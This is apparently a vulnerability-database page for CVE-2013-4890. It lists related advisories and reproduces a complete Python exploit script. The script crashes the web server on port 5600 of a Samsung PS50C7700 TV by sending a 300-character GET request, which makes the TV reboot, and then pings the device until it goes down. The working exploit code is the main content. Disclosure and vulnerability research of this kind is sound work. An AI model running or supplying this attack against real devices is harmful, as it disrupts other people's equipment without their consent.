| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Samsung PS50C7700 TV - Denial of Service | 23 Jul 201300:00 | – | zdt | |
| Samsung PS50C7700 3D Plasma-TV Denial of Service (CVE-2013-4890) | 13 Oct 201500:00 | – | checkpoint_advisories | |
| CVE-2013-4890 | 22 Jul 201319:00 | – | cve | |
| CVE-2013-4890 | 22 Jul 201319:00 | – | cvelist | |
| Samsung PS50C7700 TV - Denial of Service | 23 Jul 201300:00 | – | exploitdb | |
| Samsung PS50C7700 TV - Denial of Service | 23 Jul 201300:00 | – | exploitpack | |
| CVE-2013-4890 | 23 Jul 201311:03 | – | nvd | |
| Code injection | 23 Jul 201311:03 | – | prion | |
| CVE-2013-4890 | 22 May 202511:14 | – | redhatcve | |
| Samsung TV DoS | 29 Jul 201300:00 | – | securityvulns |
`#!/usr/bin/python
# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# Date: 07/21/2013
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description:
# The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
# As a results, the TV reboots...
# Tested successfully on my Samsung PS50C7700 plasma TV, with the latest firmware :)
import httplib
import sys
import os
print " ***************************************************************************************"
print " Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"
print " Exploit: Denial of Service (DoS) attack\n"
print " Description:\n"
print " The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print " Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print " ***************************************************************************************\n"
# Sends the payload
print " Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()
# Checks the response
print " Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
if response != 0:
print " Target down!\n"
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation